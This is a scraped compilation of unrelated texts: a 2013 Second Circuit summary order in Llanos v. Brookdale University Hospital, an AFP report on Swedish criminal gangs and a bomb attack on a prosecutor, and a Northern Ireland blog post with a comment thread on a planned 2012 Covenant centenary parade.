SR, OK, and ET designed the research protocol; SR, HN, SM, RPG, OK, and ET collected/ analyzed the data; SR and ET wrote the paper and had primary responsibility for final content; ET is the primary investigator that has led the research conducted and presented in this manuscript. All authors read and approved the final manuscript.
The authors declare no conflict of interest.
|
12-1369-cv
Llanos v. Brookdale Univ. Hosp. & Med. Ctr.
UNITED STATES COURT OF APPEALS
FOR THE SECOND CIRCUIT
SUMMARY ORDER
RULINGS BY SUMMARY ORDER DO NOT HAVE PRECEDENTIAL EFFECT. CITATION TO A SUMMARY
ORDER FILED ON OR AFTER JANUARY 1, 2007 IS PERMITTED AND IS GOVERNED BY FEDERAL
RULE OF APPELLATE PROCEDURE 32.1 AND THIS COURT’S LOCAL RULE 32.1.1. WHEN
CITING A SUMMARY ORDER IN A DOCUMENT FILED WITH THIS COURT, A PARTY MUST CITE
EITHER THE FEDERAL APPENDIX OR AN ELECTRONIC DATABASE (WITH THE NOTATION "SUMMARY
ORDER"). A PARTY CITING A SUMMARY ORDER MUST SERVE A COPY OF IT ON ANY PARTY NOT
REPRESENTED BY COUNSEL.
At a stated term of the United States Court of Appeals
for the Second Circuit, held at the Thurgood Marshall United
States Courthouse, 40 Foley Square, in the City of New York, on
the 28th day of February, two thousand thirteen.
PRESENT: DENNY CHIN,
CHRISTOPHER F. DRONEY,
Circuit Judges,
JANE A. RESTANI,*
Judge.
- - - - - - - - - - - - - - - - - - - -x
RICARDO LLANOS,
Plaintiff-Appellant,
-v- 12-1369-cv
THE BROOKDALE UNIVERSITY HOSPITAL AND
MEDICAL CENTER, SODEXHO MARRIOT HEALTH
CARE SERVICES, SERVICE EMPLOYEES
INTERNATIONAL UNION LOCAL 1199 AFL-CIO,
Defendants-Appellees.
- - - - - - - - - - - - - - - - - - - -x
FOR PLAINTIFF-APPELLANT: Regina Felton, Felton & Associates,
Brooklyn, New York.
FOR DEFENDANT-APPELLEE Arjay G. Yao, Steven M. Berlin,
BROOKDALE UNIVERSITY Martin Clearwater & Bell LLP, New
HOSPITAL AND MEDICAL York, New York.
CENTER:
FOR DEFENDANT-APPELLEE Stanley L. Goodman, Donia F.
SODEXHO MARRIOT HEALTH Sawwan, Fox Rothschild LLP, New
CARE SERVICES: York, New York.
*
The Honorable Jane A. Restani, of the United States Court of
International Trade, sitting by designation.
FOR DEFENDANT-APPELLEE Richard Dorn, Levy Ratner, P.C.,
SERVICE EMPLOYEES New York, New York.
INTERNATIONAL UNION
LOCAL 1199 AFL-CIO:
Appeal from the United States District Court for the
Eastern District of New York (Irizarry, J.).
UPON DUE CONSIDERATION, IT IS HEREBY ORDERED, ADJUDGED,
AND DECREED that the judgment of the district court is AFFIRMED.
Plaintiff-appellant Ricardo Llanos appeals from a
judgment entered March 14, 2012, dismissing his amended complaint
for failure to state a claim. In a memorandum and order filed
March 11, 2012, the district court dismissed Llanos's claims that
(1) he was wrongfully discharged by defendant-appellee Brookdale
University Hospital and Medical Center ("Brookdale"), in
violation of the collective bargaining agreement (the "CBA"); (2)
defendant-appellee Service Employees International Union Local
1199 AFL-CIO ("Local 1199") breached its duty of fair
representation by failing to properly represent him in the
grievance process; and (3) his civil rights were violated. On
appeal, Llanos argues that the district court erred in dismissing
his claims. We assume the parties' familiarity with the facts,
procedural history, and specification of issues for review.
On appeal from a dismissal pursuant to Federal Rule of
Civil Procedure 12(b)(6), we review de novo whether the complaint
"'contain[s] sufficient factual matter, accepted as true, to
state a claim to relief that is plausible on its face.'" Gibbons
v. Malone, 703 F.3d 595, 599 (2d Cir. 2013) (quoting Ashcroft v.
Iqbal, 556 U.S. 662, 678 (2009)).
- 2 -
First, Llanos has failed to plausibly plead that
Brookdale breached the CBA.1 Even assuming the CBA prohibited
Brookdale from delegating its discretion to fire employees for
cause to defendant-appellee Sodexho Marriot Health Care Services
("Sodexho") -- a point on which the CBA is silent -- Brookdale
implicitly ratified Sodexho's decision, retroactively making the
decision to terminate its own. See Hamm v. United States, 483
F.3d 135, 140 (2d Cir. 2007) ("'Ratification is the affirmance by
a person of a prior act which did not bind him . . . whereby the
act, as to some or all persons, is given effect as if originally
authorized by him.'" (quoting Restatement (Second) of Agency § 82
(1958))). While Llanos alleges that Sodexho employee Peter Ortiz
falsely accused him of urinating in public, he does not allege
that such conduct would be insufficient "cause" for termination,
nor does he allege that Local 1199 failed to contest Ortiz's
factual allegations in the grievance proceedings. He only
alleges that Local 1199 failed to raise the legal argument that
Ortiz, as a Sodexho employee, could not exercise Brookdale's
authority to fire him. Thus, the only plausible inference is
1
Because Llanos did not exhaust all of the grievance and
arbitration remedies available to him in the CBA, he actually
pled his claim as a "hybrid" claim -- alleging both Brookdale's
violation of the CBA, in violation of the Labor Management
Relations Act § 301, 29 U.S.C. § 185, and the union's breach of
its duty of fair representation, in violation of the National
Labor Relations Act § 9(a), 29 U.S.C. § 159(a). See DelCostello
v. Int'l Bhd. of Teamsters, 462 U.S. 151, 164 (1983); White v.
White Rose Food, 237 F.3d 174, 178-79 & n.3 (2d Cir. 2001).
Because, as explained below, both of the underlying claims fail
on their own merits, the hybrid claim also fails. See
DelCostello, 462 U.S. at 164 ("[T]he two claims are inextricably
interdependent." (citation and internal quotation marks
omitted)).
- 3 -
that Local 1199 did contest Ortiz's allegations in the grievance
proceedings and both appeals boards found them to be credible.
Second, Llanos's complaint does not plausibly plead a
claim for breach of Local 1199's duty of fair representation. To
prove a breach of the duty of fair representation, the plaintiff
must show that (1) the union engaged in arbitrary,
discriminatory, or bad faith conduct, and (2) the conduct caused
plaintiff's injuries. See White v. White Rose Food, 237 F.3d
174, 179 (2d Cir. 2001). "A union's actions are arbitrary only
if, in light of the factual and legal landscape at the time of
the union's actions, the union's behavior is so far outside a
'wide range of reasonableness,' as to be irrational." Id.
(internal quotation marks, citation, and alteration omitted). "A
showing of bad faith requires a showing of fraudulent, deceitful,
or dishonest action." Id. (internal quotation marks, citation,
and alteration omitted). Because the complaint does not
plausibly allege a breach of the CBA, we conclude that the
complaint also fails to allege that Local 1199 acted arbitrarily
or in bad faith by declining to pursue a meritless legal
argument.
Finally, Llanos raised an unspecified civil rights
claim in his amended complaint, and he appears to argue, for the
first time on appeal, that this was an age discrimination claim.
This argument is waived because it was never raised before the
district court. See In re Nortel Networks Corp. Secs. Litig.,
539 F.3d 129, 132 (2d Cir. 2008) (per curiam). Even if we were
to consider it, this claim would fail on the merits because the
- 4 -
complaint fails to plead any facts giving rise to a plausible
inference of discrimination.
We have considered Llanos's remaining arguments and
find them to be without merit. Accordingly, we AFFIRM the
judgment of the district court.
FOR THE COURT:
Catherine O'Hagan Wolfe, Clerk
- 5 -
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Prosecutor Barbro Joensson was driving to work when a bomb exploded at the front door of her house, rocking her whole neighbourhood and sending shockwaves through traditionally serene Sweden."It is very hard to describe how I felt when I heard what happened. I think I still haven't grasped how serious it was," Joensson, 53, told AFP more than a year after the attack.She was prosecuting a high-profile case against a violent criminal gang called the Wolfpack Brotherhood and had just left her home in the southwestern town of Trollhaettan on November 20, 2007, when the blast ripped off the front door and shattered the hallway.Two young gang members were remanded in custody just over a month ago on suspicion they planted the bomb, which could have killed Joensson had she been at home.The bombing -- one of the first overt attacks on a Swedish prosecutor -- prompted calls to root out the swelling criminal gangs that have smashed the Scandinavian country's tranquil image.The gangs have caused a spike in a number of crimes, including extortion and loan-sharking -- a gang specialty -- which have jumped from 740 cases reported in 2003 to 1,715 last year, according to preliminary statistics from the Swedish National Council for Crime Prevention.Police say it is difficult to estimate the number and size of criminal gangs in Sweden since membership can vary from day to day, but media reports indicate around 1,000 people are actively involved in at least six large criminal gangs with numerous branches across the country.Gangs make headlines almost daily with stories of drug busts, brutal attacks on business owners unable to pay off debts and bloody gang wars."This is a serious problem that has grown in recent years," Swedish Justice Minister Beatrice Ask told AFP."We used to be fairly sheltered in the Nordic countries, but unfortunately this problem has surfaced and we must react very forcefully now or else this could be extremely serious in say 10 years," she cautioned.Police also think that attacks like the one on Joensson constitute a novel and dangerous twist in Swedish gang activity."Attacks on the judiciary are a rather new and very serious phenomenon," said Klas Friberg, the police chief in the Vaestra Goetaland region that comprises Trollhaettan and Gothenburg.Joensson, who moved after the attack on her home and joined a police unit in Gothenburg working to fight gang crime, agreed."We risk having judges who don't dare to judge, prosecutors who are afraid to prosecute and police who refrain from making arrests," she said, adding that "if that happens the first bastion against these groups will fall."
Just four months after the Trollhaettan bombing, shots were fired at the home of another prosecutor in the region, Mats Mattsson, who had worked extensively on cases involving criminal motorcycle gangs like Bandidos.
While no one was hurt in that attack either, it prompted more calls for action and sent the government and police scurrying to come up with new measures to combat the scourge.Special police and intelligence units were created along with a "Knowledge Centre" on gang activity as part of a national strategy aimed at cracking down on gangs and blocking recruitment of new members."Local police have to be on their case all the time, making it uncomfortable for anyone who has not yet been fully recruited to hang around these people," said Justice's Ask. Despite heightened police efforts, around 10 new clubhouses belonging to gangs like Hells Angels, Bandidos, Wolfpack Brotherhood and Original Gangsters reportedly sprouted up across Sweden last year alone. The highest concentration of gang units is centred around the southern towns of Malmoe and Gothenburg, largely due to their proximity to Denmark, where the gangs also constitute a major problem. "A few years ago, Denmark carried out very forceful measures against these gangs and a number of these people moved over to Sweden. Now, we hope they will move back, or rather further," Ask said. Erik Lannerbaeck, a former member of several gangs including the Wolfpack Brotherhood and Bandidos, meanwhile told AFP that simply cracking down on the gangs would accomplish little. "The main focus should be on getting members to leave the gangs, and to do that you can't just lock people up and hope they'll be better when they get out," said Lannerbaeck, who after a decade in criminal gangs began working as a counselor for troubled youths in Stockholm in 2004. Gang members trying to get out often need protection and help paying off debts and finding a job, but most of all "they need support from people who understand them and can help them see the value in being normal, and to create a new identity," he insisted. Lannerbaeck said he himself repeatedly tried to leave his life of crime only to be drawn back in by the promise of wads of cash or the desire to once again be feared and respected instead of stepped upon in a menial job. "It was like a drug," he said, adding that landing a good job where he was appreciated was what made it possible to get out for good. "It is very important that people can leave," Ask agreed, adding that a project to help people get out of the gangs would likely be funded soon. "Huge efforts are needed and we need a lot of people to push in the same direction, but I think we can bring this problem under control," she said.
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The Future of Loyalism session at the Political Studies Association conference started with two academics – Jim McAuley and Graham Spencer – introducing the Political Studies Association delegates to loyalism, loyalist themes and transformation efforts so far. Rev Chris Hudson – who acted as a conduit between the Irish Government and the UVF – spoke about his journey. [Click on their names to hear their 10 minute introductions.]
Finally, Jackie McDonald – introduced as a former UDA prisoner – spoke about his own experience of loyalism. He talked about experiences on his estate before the UDA was formed (when white collar workers met and sought to limit any increase in Catholic occupancy of their area), gave his view on Gary McMichael’s strategy and drugs entering the organisation.
(It was hard at times while listening not to sceptically wonder how far his revisionist dial was cranked up and contemplate which inconvenient facts were being overlooked or vastly simplified.)
In the Q&A session the opening remarks, Jackie McDonald was asked about the Orange Order. You can hear his five minute reply. But in the second half he questioned aspects of the Orange Order Belfast District’s plans for a ‘Covenant parade’ in May.
On the 19th of May – I’m not sure if everybody would be aware – the Grand Lodge is going to have (to celebrate the centenary of the Covenant which is going to be on the 28th or 29th of September) but they’re making that their baby, their thing, so the Belfast District are having one [a parade] on the 19th of May which is going to go to Ormeau Park.
But they’re allowing loyalism to join in. There could be 35-55,000 people walking. There will be thousands of people lining the route. There will be thousands of people in Ormeau Park to welcome them there.
The problem we have is … the Orange and the bands will take the first part of the parade, and then it will be the UVF in the Somme gear – the Somme associations and what they’re telling us is they’ll have the uniforms, they’ll have the antique motors with the machine guns on them and all the paramilitary flags – and the UDA will be suited and booted, the Ulster Defence Union will be wearing their green blazers and what have you.
If you’re a nationalist – and this parade passes parts of Short Strand or wherever – how are you going to feel? Are you going to feel threatened? Is that going to be a positive thing or a negative thing? And I’d very wary that as part of the peace process we should all be moving forward and we should be taking into consideration how the nationalists feel. But the Orange Order are saying “that’s not our problem, that’s the police problem”. People belonging to us have asked them what happens if the dissidents attack the parade? “That’s not our problem. That’s the problem for the police.” What happens if some of the local blue bag brigade joins in and causes problems? “Oh that’s not our problem. That’s the PSNI problem.”
But it’s not. It’s their problem. It’s their parade and they’re responsible for the behaviour of the people in it.
He finished the answer with the statement:
I support the Orange, but I don’t want anything to do with them if you know what I mean.
It’s positive that Jackie is publicly thinking first through the eyes of others. It puts his rhetoric in the same league as Peter Robinson and Martin McGuinness who frequently now make statements that are deliberately inclusive and question their own community’s reaction to their neighbours. While the relationship between Jackie, the UDA and the Orange Order is no doubt much more complicated and baggage-laden than he expressed yesterday, his observations do raise questions about the institution’s plans to commemorate the signing of the Ulster Covenant.
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About Alan Meban (Alan in Belfast)
Alan Meban. Normally to be found blogging over at Alan in Belfast where you'll find an irregular set of postings, weaving an intricate pattern around a diverse set of subjects. Comment on cinema, books, technology and the occasional rant about life. On Slugger, the posts will mainly be about political events and processes. Tweets as @alaninbelfast.
This from McDonald is encouraging at least. I think we’d wait a very long time before hearing these concerns expressed by Robinson as he still supports the coattrailing of orangemen through the contentious areas in spite of his claims to be reaching out. It’s all empty gestures with Robbo.
keano10
This sort of provaction has been going for years as Orange Pardades have passed Short Strand so it’s nothing new to be honest.
McDonald’s words are encoraging but nobody is going to listen to him. They simply enjoy it too much. They enjoy the provocation. Full stop.
Anyone who has ever stood outside my local church, St Matthews Chapel, as they deliberately halt their Orange parade, play the Sash and dance all over the roads, will be aware of this. (Often is spite of Parades Commision Rulings not to do so).
Institutionalised Unionism in the form of The Orange Order specifically was always going to be the hardest and most difficult starnd to change. Simply because they dont want to…
keano10
** strand to change ***
andnowwhat
Maj, you’re fotgetting that Jackie has a new Irish president to break in. I’m Joking BTW.
Fair play to Jackie because it won’t be the first minister, the one who is doing all the supposed taig love, who is going to say to the Orange, now lads.
Essentially there is a choice between Historical Accuracy and the Common Good (Community Cohesion). The nature of the upcoming commemorations is that they appeal to one side or the other. But not both.
In a very real sense, the re-enactment (and interestingly re-enacting is a comparatively new feature) of events which were controversial, possibly provocative and possibly threatening cannot be depicted without re-enacting controversy, provocation and even threat.
In that sense it is historically accurate. The alternative, is a semi-official sanitised version, all “outreach” and “inclusive” but hardly accurate.
Re-enactment…..or as some would have it “dressing up” is an interesting comparatively new development (not counting the Sham Fight people). Whether it is Sealed Knot Cavaliers and Roundheads, Scottish Highlanders at Culloden or the (claimed) one million Americans who spend their summer weekends “in civil war camp” or the Waffen SS guys………I dont think it is possible to dress up and carry props without in some way taking on the belief systems of those who originally wore the uniforms and carried the props.
Re-enactment …..and surely it will give licence for more dressing up and prop carrying at Easter 2016….is therefore more likely that people will be strengthened in their different beliefs rather than break them down. And it wont be possible to detach the events from the 1960s and early 1970s from these events.
It will therefore turn out to be a nightmare for those who talk of “shared history”.
Reporting the Titanic 2012 thing (and I have issues with that) was comparatively easy. It is arguably the “softest” centenary.
But the reporting of the Covenant events will be interesting.
Silly of me, Kal to forget that. By the way what happened to the wall to wall coverage on BBC and utv of the titanic exploitation? the backlash has started I think. Back on topic, the election threat over the prison officer’s insignia reveals the freudian slip by Robinson. The mask was soon back in place.
Drumlins Rock
Alan, I and hundreds of others have paraded through Belfast and many other towns in a reproduction military uniform, with reproduction weapons, both handheld and mounted, marching in ranks and taking instruction from a commanding officer, however all of which were glorified fancy dress based on the late 17th C, so I doubt any offense was ever caused. If sometihng similar is the intentions on the 19th of May, I will probably attend and take part, but I want no part if it is a thinly disguised glorification of the so-called loyalist paramilataries, and would hope any decent Orangeman would feel the same.
FJH. Clearly for the unionist establishment and media here the hardest 1912 centenary to mention is the forced eviction of thousands of catholics from the shipyard which is now being so lovingly embraced in prinrt and broadcast. That’s one exodus gregory won’t want to hear about as he’s very selective about this.
Blue Hammer
Celebration of the UVF is fine. So long as the UVF in question is the original version from 1913-16. That bunch of yahoos who missappropriated that honourable name and emblems in 1966 to date are worthy of nothing more than scorn and a cell in gaol.
I know little of this planned event, but it is clearly indefensible to march a group of paramilitaries past the scene of some of their worst crimes.
salgado
Blue Hammer – even a commemoration of the original UVF could be pretty intimidating. I don’t think people in Short Strand will really care which era is marching past, either way it’s pretty tactless.
DC
Can they not organise these events for Carrick instead of divided parts of Belfast?
Blue Hammer
Salgado
I take that point. I have no interest in any marching, but just thought that a historically themed parade of guys in WW1 gear on antique vehicles is surely less incendiary than one with participants who tended to operate in jeans, leathers jackets and balaclavas.
Mike the First
Sickening and disgraceful if the modern day UVF and UDA terrorists (even in their “UDU” incarnation) are being included in this.
salgado
True, it should be less incendiary, but commemorating armed loyalist groups (even antiquated ones) near areas that have been terrorized by their descendants (whether the name is misappropriated or not) is still tactless.
Tochais Síoraí
Maybe the same characters can continue their commemorations and do a recreation of the Battle of the Somme for us (with live ammo) in 2016.
Blue Hammer
Tochais
Meanwhile we can round up a few republican leaders from a Post Office ( we can schedule it for giro day!) and execute them by firing squad. All in the interests of mutual respect for commemorations and re-enactments of 1916 events of course.
cars1912
Well he got part of it right but a good bit of it wrong. Never let the truth get in the way of half truths. Glad to see that you all have accepted what he has said as the truth. There will be no guns for starters but what the hell if Jackie says there will be who am I to challenge him.
Yes it will walk up the Newtownards Road which the last time I looked was a road populated by Unionsts. Sure Short Strand will hear and if they go out of their way see the parade.
As for the numbers quoted by Jackie I suppose we will have to take them as gospel to. Dream on.
CoisteBodhar
So they’ll be going up the Ormeau Past the bookies or making some kind of detour?
Ardmajel55,
As one of the nine galleries in the Titanic Exhibition Centre allows visitors to experience life as a shipyard worker in early 20th century Belfast, I would assume that for historical accuracy there is some interactive “Belfast Shipyard Confetti” to allow Catholic visitors to get the fully authentic experience.
But as other contributors have stated there is a backlash against the “soft” approach taken by the media when dealing with people from the Titanic Experience, Arlene Foster, City Council, Norn Iron Tourism.
I went along to the site on Saturday and franly the young folks from the Free Presbyterian Church were the only people who really “got” the Titanic.
I have seen (elsewhere in Belfast) a souvenir of a little statuette…..a child in dressing gown and life jacket clutching a teddy bear and suitcase which isI think tacky.
Only a few years ago I pointed out to an incredulous manager at the Welcome Centre that the Titanic ashtrays were inscribed “BARLAND” rather than “Harland”.
There is actually a genuine debate to be had as to whether the media should be part of the “official” project of the Decade or whether it should be detached.
Does the media have a “duty” to consider the bigger picture of community cohesion or be detached and impartial? My impression from last weekend that the media was just a little too enthused.
In cases of civil unrest, war (including the Troubles themselves) this was an issue between government and (particuarly public service) broadcasters.
In fairness, it is probably a grey area, in the case of a full scale war, the national media probably has a duty to be little more than an arm of government.
At a seminar in the Ulster Museum in March 2011, the Arts Community rejected they had to paint or write for the “public good”. It is basically dishonest.
But I cant see how that really fits into the upcoming Decade.
I just think each community should be “allowed” to get on with their own celebrations/commemorations.
andnowwhat
Why is the event in Ormeau Park, within the earshot of lower Oremau residents.
We all know the issue there with the bookies and marchers doing the finger taunt some years ago. Personally, I find that more offensive than the Short Strand issue.
Reader
ardmajel55: Clearly for the unionist establishment and media here the hardest 1912 centenary to mention is the forced eviction of thousands of catholics from the shipyard which is now being so lovingly embraced in prinrt and broadcast.
That would be 1920, I think. A busy year.
Reader. Ok, that’s corrected, thanks. I’d only recently discovered this story and thought I read it was 1912,
I believe there was a big riot in derry in july that year afortnight in fact after my late father was born. Serious period in history in ireland
FJH. The news editors at ormeau and havelock house lost ther run of themselves completely and only noel thompson made a valiant effort to balance things last fridday in what was otherwise a newsline edition which went completely ape. Their facebook page shows their irritation at the less than grateful public’s reaction. The gin and titonic promo showed the complete lack of commonsense or judgement by the organisers.
Drumlins Rock
for goodness sake, now its “within earshot”
MOPE MOPE MOPE MOPE MOPE
andnowwhat
Not really moping DR.
Don’t forget that it was Orangemen who put the final nail in the coffin of the Ormeau marches.
Now, that we protest they do at the bridge and the bi weekly one they do at Garvaghy, that’s some serious MOPE MOPE MOPE.
How many years have they been doing that crap for?
DC
Mind you, if the band plays this tune below there will be many a nationalist unsure of what to do:
FJH 1[.47] Sorry, I didn’t get much time earlier to go through all of what is a substantial post, FJH. I haven’t yet been to Belfast adn have only seen the outside on TV etc. The frontage which dwarfs the ground floor entrance is totally out of proprtion and looks a bit like an outsize wardrobe apparently about to take flight. There’s little dignity in that, frankly. Only slightly less ridiculous looking than the giant fake jelly on the truck reggie perrin was driving in the original series.
Comrade Stalin
If a former UDA prisoner thinks the thing is over the top then it is hard to dismiss all this as nationalist mopery.
Given that the Orange Order apparently still can’t demonstrate any of the responsibility associated with its role as a principal parade organizer, here’s hoping that the Parades Commission place heavy restrictions on any of this provocative nonsense.
andnowwhat
Comrade Stalin
Maybe Jackie has sussed the bleeding obvious; that such behaviour keeps the spirit of division alive. Suits me fine for my agenda.
lamhdearg2
Thou shall not march within earshot of a irish nat, this is the rule the fascists will push, i seen this coming, and have mentioned it before, expect resistance to this rule.
andnowwhat
Now, you know full well the issues with the Orange, the lower Ormeau, Orange men holding up fingers re. the amount of people shot in Graham’s bookies.
Before anyone comes off with the usual toss about it being bandsmen, there’s a nice clear photo of an orangeman in his collatrette doing the finger thing on the net. Actually, there’s about 5t sources for it
cars1912
Jackie McDonald does not speak for anyone other than himself in this tape. He is entitled to dislike the OO for whatever reason. I don’t care what he thinks or says.
The parade is not going up the Ormeau Road end of. The routes of the parade have been on the world wide web for some time if people tried to look for them. Deirdre Hargey take note.
Yes people on the Ormeau Road may hear bands but so what. There will be no guns, no paramilitary flags and there won’t be 50,000 in the parade. McDonald needs to listen to the loyalist community and what they are planning. If he did he wouldn’t talk bull.
The organisers have scheduled talks with the residents of SS. This has been planned for a while now. Not sure what the residents of the Lower Ormeau would want to talk about. Oh yes we can hear your dreadful music now clear off.
Mind you the organisers could have given you something to really gurn about and opted to walk along the Alberbridge Road. Guess what they won’t.
For the record the Council deem Ormeau Park as shared space. I guess that means we can use it to.
SF have been aware of the parade and that there are no feeder parades since the late Autumn.
carl marks
Can anyone answer these questions?
1/ will there be homage to the “old uvf.
2/ will the present day uvf and uda be marching in the parade.
3/will the parade be marching past a nationalist area.
If the answer to all these is no, then knock yourselves out boys.
If the answer to either 1&2 are yes then I would ask the PUL posters to remember the anger they felt when a group on nationalist youngsters were dressed up as provos in Crossmaglen and firmly condemn the march, this should happen no matter where the parade is being held, after all the kids in Crossmaglen where nowhere near a unionist or loyalist area and unionists were still offended.
Failure to come out against paramilitary involvement will once and for all expose the hypocrisy of unionism when they give off about nationalists and their support of terrorism.
IF 3 is right then proper consultation with the community in question is to be expected.
Mick Fealty
Hear what you sat Carl… But do expect that will take us through all commemorations in the next decade?
carl marks
No Mike i dont, each one will present its own problems.
each one will require its own solutions, thats if there are solutions.
carl marks
FJH may well be right, some things in this place cant be shared.
andnowwhat
Carl Marks
Wise up. Why wouldn’t nationalists not which to support the celebration of a document that swore signaotries to ” (use) all means which may be found necessary to defeat the present conspiracy to set up a Home Rule Parliament in Ireland”
Can’t see a single thing for us nationalists to object to at all. Now, I’m off to stick a size 10 knitting needle in my fenian eye for God and Ulster
carl marks
andnowwhat
Im sorry could you tell me wtf you are talking about.
cars1912
1/ will there be homage to the “old uvf.- no
2/ will the present day uvf and uda be marching in the parade – as far as I know yes.
3/will the parade be marching past a nationalist area – its walking up the Newtownards Road and the residents are welcoming the parade. Short Strand is in the locality.
As already stated there are scheduled talks arranged with SS.
Period costume will be that of the Ulster Clubs of 1912. Same as the people we see at all the Titanic stuff. No guns.
I see no reason why the UDA and UVF cannot be involved. After all we have Provos running the country and many other aspects of our life and guess what I don’t complain.
carl marks
cars1912
I see no reason why the UDA and UVF cannot be involved. After all we have Provos running the country and many other aspects of our life and guess what I don’t complain.
You honestly don’t see a problem with terror groups parading and pretending to be some sort of heroes.
You honestly don’t see why nationalists (and a lot of unionists) will have a problem with this. You honestly don’t see the hypocrisy of complaining about nationalist links with the provos then marching with loyalist terror groups.
I think you got to the knitting needle before andnowwhat
Comrade Stalin
andnowwhat
Can’t see a single thing for us nationalists to object to at all. Now, I’m off to stick a size 10 knitting needle in my fenian eye for God and Ulster
I don’t see how we can sit here shortly after the Queen laid a wreath at the Garden of Remembrance in Dublin and talk about how unreasonable it is for unionists to want to commemorate the convenant. Suddenly it’s nationalists who are yelling “no” down a megaphone.
To me, the convenant and the Irish war of independence are two sides of a rather dark and bloody coin, personally I’m not interested in either of them. But there are plenty of people who feel they are important, so provided the celebrations are lawful and respectable I can see no reasonable grounds for objection.
Back on the subject of Jackie McDonald’s comments here, having considered it a bit more I’m wondering if there is any kind of UVF/UDA rivalry going on here.
USA
What on earth are the Orange Order doing inviting the modern UDA and UVF to participate in one of their parades?
Harry Flashman
FJH
I think Kevin Myers debunked a lot of the nonsense about the shipyard and the Titanic in a recent article, pointing out that H&W’s owner was an avowed home ruler who shut the yard down in protest at attempts to intimidate Catholic workers.
Drumlins Rock
CS, It is difficult to take Jackie at face value considering his history.
USA, maybe the OO is trying to curtail the UVF & UDA organising their own parades? which wouln’t be good you will agree, lesser of two evils? just a guess.
Comrade Stalin
I think Kevin Myers debunked a lot of the nonsense about the shipyard
ROTFL
Harry Flashman
Sorry CS, I forgot the pavlovian reaction among some people to the name Kevin Myers. But my assertion remains, he did point out that H&W was not a unionist bastion in 1912, that’s a historical fact no matter how much the red mist descends at the mention of the man who states it.
Oh and the hull’s registration number didn’t reflect as “No Pope” [3909 ON] another cherished myth.
Comrade Stalin
Sorry CS, I forgot the pavlovian reaction among some people to the name Kevin Myers.
I’ve seen articles written by Myers that were factually incorrect. Not just slightly inaccurate, but completely wrong. He can’t be trusted as a source.
he did point out that H&W was not a unionist bastion in 1912, that’s a historical fact
I’d like to see exactly what the sources are for that “historical fact”. The rampant discrimination and inequality here didn’t happen overnight during December 1922.
Oh and the hull’s registration number didn’t reflect as “No Pope” [3909 ON] another cherished myth.
That particular myth is pretty easy to debunk by noting that there are plenty of clear photographs and drawings of the Titanic, and none of them show this fabled registration number anywhere.
Harry Flashman
” I’d like to see exactly what the sources are for that “historical fact”.”
“In fact, until the disastrous decision to give home rule to Northern Ireland, the workforce of the shipyard was pretty much divided on demographic lines. And far from the company being “unionist”, its chairman, William Pirrie, was a keen Home Ruler who acted as Winston Churchill’s host during a nationalist rally in Belfast; and for this, he was roundly hissed by unionists in the streets. Moreover, he shut the yard down when there was an attempt to eject Catholics, and warned it would remain closed until guarantees were given about the safety of the Catholic workforce. ”
But Kevin Myers said it so we must ignore it, isn’t that how it works?
carl marks
D.R.
I’m sorry that doesn’t do it for me. If what we have heard about this march is true, ( by the way I’m finding it hard to believe that the OO is this stupid) there is no excuse and to be honest the lesser of two evils thing sounds like clutching at straws to me.
Comrade Stalin
Harry,
As I said, I take all claims from Myers that are unsourced with a huge pinch of salt.
A suggestion that a lockout occurred at some point in 1912 does not, and cannot, debunk the documented reality that the shipyard in common with the rest of Belfast’s manufacturing industry didn’t employ Catholics almost as a rule. There were exceptions to that rule (Martin McGuinness commented that he had a relative in the shipyards), but they were just that – exceptions.
(and what became of that lockout – did it go ahead ? How long was production at the shipyard stopped for ? What guarantees were received in exchange for lifting the lockout and who underwrote them? Did the other directors at H&W agree to all of this ?)
This sort of revisionism is typical of Myers’ myopic contrarianism. Moreover, it seeks to deny the family history of many of us here. It was extremely difficult for Catholics to obtain employment here and this problem didn’t begin to be properly addressed until the late 1960s.
HF You forgot conveniently to say this was before Partition so youre using a pre partition situation to cover the rest of H&W’s’ tenure. nice work but it doesn’t cut it.
Harry Flashman
“HF You forgot conveniently to say this was before Partition so youre using a pre partition situation to cover the rest of H&W’s’ tenure. nice work but it doesn’t cut it.”
Cut what? I was referring to FJH’s assertion that in 1912 H&W was a loyalist bastion, I am pointing out that on the contrary the owner was a Home Ruler, the rest of your post is frankly unintelligible.
CS
Myers states that the ratio in 1912 was “demographic” by which I assume proportional to the local population, East Belfast would have been massively protestant at that time if I am not mistaken.
The worst anti-Catholic purges in H&W occurred from 1920 onwards when former workers returning from the War claimed that all their jobs had been taken by “disloyal” workers, ie Catholics.
Seems that H&W as an employer didn’t have a particular objection to hiring Catholics in large numbers, even if their staff did.
You’ll have to back up your previous assertion that Myers has made many completely false historical statements with examples if you want to get into a discussion on his factual reliability.
As I recall back about ten or fifteen years ago he admitted that one of his previous posts on the 1919-21 war was based on misinformation and he withdrew it, beyond that I’m sure you will come up with a host of inaccuracies.
Comrade Stalin
Myers states that the ratio in 1912 was “demographic”
Everything that Myers “states” is subject to suspicion. As I’ve said three times now.
by which I assume proportional to the local population, East Belfast would have been massively protestant at that time if I am not mistaken.
The demographics of the local population isn’t the issue. Places like Mackies and the Gallagher tobacco factory in N Belfast were situated in areas with a lot of Catholics nearby and yet they employed hardly any.
Seems that H&W as an employer didn’t have a particular objection to hiring Catholics in large numbers, even if their staff did.
Maybe, but I don’t see any evidence for this. Bearing in mind that the individual supposedly involved in the aforementioned lockout was one out of the three principals in the company.
You’ll have to back up your previous assertion that Myers has made many completely false historical statements with examples if you want to get into a discussion on his factual reliability.
I have to do no such thing. You can’t quote op-ed or opinion piece stuff as fact, without reference to the underlying sources.
between the bridges
Any comment to make about the UDA andUVF marching. or does that not matter.
between the bridges
carl i think the fact that the uda is not marching may have more to do with Brig jackie’s comments, which portray a somewhat differ event to the one which has the support of Belfast City Council, the Heritage Lottery Fund and the Community Relations Council…
carl marks
Now you say they aren’t marching but CARS1912 says they are. Jackie says they are. And you haven’t mentioned the UVF. So which is it if you have facts share them with us.
between the bridges
carl to the best of my limited knowledge neither the uda or the modern version of the uvf will be parading. the 1912 uvf will be commemorated/recreated, now i am sure we can debate the difference needlessly without agreement, but the fact is the 1912 uvf and the 36th ulster division have merged in PUL history/folklore, a fact that i am reminded of on my occasional attendance at my local cathedral.
tacapall
BTB so who will be recreating the old UVF, will it be the modern day UVF members or actual members of the Orange Order ?
between the bridges
T..i believe the organisers have encourage participants, where possible to parade in period costume…
tacapall
Participants ! So will they be Orange Order members or members of the public ?
carl marks
between the bridges.
This is very important; it will be the first of a lot of this sort of thing coming up and will set the trend.
